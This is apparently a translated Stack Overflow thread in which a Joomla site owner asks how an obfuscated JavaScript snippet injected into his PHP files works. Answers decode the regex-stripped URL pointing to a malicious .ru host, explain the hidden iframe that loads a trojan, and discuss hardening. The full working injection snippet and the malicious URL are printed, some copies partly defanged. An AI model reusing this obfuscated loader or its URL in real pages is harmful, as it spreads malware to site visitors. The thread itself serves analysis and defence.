Wie funktioniert diese Site, die das Skript infiziert?

99

Mein Joomla! Website wurde wiederholt gehackt. Jemand hat es irgendwie geschafft, den folgenden Müll in die wichtigsten PHP-Skripte zu injizieren, aber ich möchte nicht über die Konfiguration von Joomla sprechen. Die Site wird nicht oft besucht (manchmal befürchte ich, dass ich der einzige Besucher dieser Site sein könnte ...) und es ist mir egal, ob die Site wieder betriebsbereit ist. Ich werde das irgendwann erledigen.

Meine Frage ist, wie funktioniert dieser Müll? Ich schaue es mir an und sehe nur nicht, wie das schadet? Es wird versucht, eine PDF-Datei namens ChangeLog.pdf herunterzuladen, die mit einem Trojaner infiziert ist und nach dem Öffnen Ihren Acrobat einfriert und auf Ihrem Computer Chaos anrichtet. Wie macht das das? Ich weiß nicht, es ist mir egal. Aber wie ruft das folgende Skript den Download auf?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET hat diesen Code als JS / TrojanDownloader.Agent.NRO-Trojaner erkannt

Peter Perháč
quelle
41
Bitte gehen Sie nicht aus Neugier weg, um den Link zu überprüfen!
DOK
1
Ja, wandern Sie nicht herum und versuchen Sie herauszufinden, was los ist. Die Magie liegt in der einfachen Codierung der URL und der anschließenden Dekodierung / Analyse der Zeichenfolge mithilfe von Replace / RegEx, die Sie am Ende der Zeile sehen.
DoctorLouie
13
"Stück Skript" las sich zunächst wie etwas ganz anderes.
Aditya MP

Antworten:

181

Beachten Sie den replaceAufruf nach der riesigen unordentlichen Zeichenfolge : .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Die meisten Sonderzeichen werden entfernt und in eine normale URL umgewandelt:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(I geändert manuell http:zu evil:)

Beachten Sie, dass die Regex vereinfacht worden sein könnte .replace(/[#$@^&()!]/ig, '')

Wenn Sie sich das Skript ansehen, werden Sie feststellen, dass es sich um ein sehr einfaches Skript handelt, das einen versteckten IFRAME mit dem Pfad einfügt /index.php?ys aus derselben Domäne enthält.

Ich habe diese Seite in Fiddler angefordert und sie hatte keinen Inhalt.

SLaks
quelle
6
Ich denke, das Skript, das den Inhalt des Iframes bereitstellt, ist so erstellt, dass der PDF-Download nicht jedes Mal gestartet wird. Es kann eine 1: 10-Chance oder so etwas geben. Es wurde nicht versucht, das PDF jedes Mal herunterzuladen, wenn ich die Joomla-Seite aktualisiert habe. Könnte sogar 1 von 100 sein ... wer weiß?
Peter Perháč
174
+1 für die Erwähnung, dass der Code effizienter hätte geschrieben werden können. :)
Pekka
8
@ Pekka, ich denke, es wurde absichtlich so geschrieben, um dunkler zu sein
Elliptische Ansicht
7
@Elipticalview Auf jeden Fall. Wenn der Autor sich Sorgen um die Effizienz gemacht hätte, hätte er sicherlich keinen RegEx-Ersatz verwendet, um eine statische Zeichenfolge abzuleiten. Lol.
Dan Bechard
Ich sehe nicht ein, was ein Groß- und Kleinschreibung ohne Berücksichtigung der Groß- und Kleinschreibung für ein Muster ohne Buchstaben bewirken würde. Ich würde auch eine +After-the-Character-Klasse verwenden ... wenn ich Regex verwende.
Mickmackusa
34

Diese Antworten können Ihnen helfen, die Natur des schädlichen JavaScript-Codes zu verstehen. Sie sollten jedoch nach einer Möglichkeit suchen, die Lücke in der Joomla-Engine zu schließen. Vorgefertigte Frameworks neigen zu absichtlichen oder unbeabsichtigten Lücken, insbesondere wenn Sie berücksichtigen, dass sie für Unix-, Mac- und Windows-Umgebungen entwickelt wurden.

Meine Arbeit erfordert, dass ich viele Domänen, Anwendungen und Frameworks auf vielen Arten von Servern und Systemen für Clients und mich selbst ausführe. Im Laufe der Zeit habe ich immer mehr Bots gesehen, die diese Systeme nach bekannten Schlupflöchern / Eingängen über Hintertür-Eingänge durchsucht haben, die durch diese Frameworks erstellt wurden. Gut, wenn ich irgendeine Art von Framework verwende, was ich selten mache, stelle ich sicher, dass ich die meisten, wenn nicht die gesamte Dateistruktur umbenenne, um mich von diesen lästigen Lücken / Hintertüren zu befreien. Zumindest können Sie Verzeichnisse umbenennen, was die meisten Bots auslöst. Mein Weg besteht jedoch darin, Verweise, die Hinweise auf die Art des Frameworks geben, vollständig zu entfernen. Dazu gehört auch das Umbenennen der gesamten Dateistruktur, nicht nur von Verzeichnissen. Behalten Sie immer eine Karte der neuen Namenskonventionen im Verhältnis zu den alten Namenskonventionen bei, damit das Hinzufügen von Plug-Ins zu Ihrem Basisframework zum Kinderspiel wird. Sobald Sie den Dreh raus haben, können Sie die gesamte Framework-Dateistruktur programmgesteuert umbenennen, um schnellere Ergebnisse zu erzielen. Dies ist besonders nützlich, wenn Sie sich mit Clients befassen müssen, die in der Lage sein müssen, ihr Framework mit Plug-Ins und dergleichen zu aktualisieren.

Doktor Louie
quelle
1
Entfernen Sie nur keine Informationen über die Quelle des Frameworks, das wäre völlig falsch.
DoctorLouie
2
Oooo, danke. Das ist eine schöne Antwort. Die Frage nicht wirklich beantworten, aber immer noch +1, da dies in der Tat eine sehr interessante Lektüre war und gute Vorschläge gemacht wurden. Ta
Peter Perháč
20

Es wird lediglich ein regulärer Ausdruck in der Skript-URL ersetzt

HINWEIS: FOLGEN SIE NICHT DEM UNTEN LINK (eingefügt **, um die Kopierpaster abzuschrecken)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

als die src

Russ Cam
quelle
so einfach ist das? Meine Güte ... ich wurde wieder von SO pwnd :)
Peter Perháč
23
Das ist eine lustige URL.
Jordan läuft
@ Josh - Es liegt an dir, ich habe es nicht ausprobiert, kann dir also nicht genau sagen warum. Ich vermute, dass die Seite möglicherweise schädliche Skripte enthält. Sie können dies auf eigenes Risiko tun!
Russ Cam
8

Es verwendet die Ersetzungsfunktion, um die Müllzeichen durch Regex zu ersetzen, nichts falsch mit dem Code:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')
Sarfraz
quelle
7

Sein Ladeskript von

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

Und dieses Skript wird iframemit Sichtbarkeit geladenhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys
SIE
quelle
2

Wenn Sie das Ganze lesen, stellen Sie fest, dass es sich um eine Zeichenfolge handelt, gefolgt von einem Ersetzungsbefehl.

Raj Mehr
quelle
2

Ich habe das gleiche Skript auf meinen Seiten in Index *. * -Dateien. Ich schreibe meinen eigenen Code in PHP. Meine Frage ist nicht, wie das funktioniert, aber ich frage, wie man schützt, wenn man die Hintertüren kennt. Ich habe die Formulare geändert und $ _POST und $ _GET gelesen, indem ich <> und http: // usw. ersetzt habe.

Kulik
quelle
2

Meine zwei Cent. Haben / können Sie ein Joomla-Backup-Tool wie Joomlapack installieren?

Ich habe es so eingestellt, dass es über ein CHRON-Skript ausgeführt wird, um die Waren griffbereit zu halten, falls die Mugger zum Überfallen kommen.

Welche Version von Joomla verwenden Sie?

1.0.X-Versionen werden nicht mehr aktualisiert und das Alter beginnt sich wirklich zu zeigen. Sie sind es sich selbst schuldig, ein Backup zu erstellen und ein Upgrade auf 1.5 zu planen und die Wunder von 1.6 vorwegzunehmen

greenkoi
quelle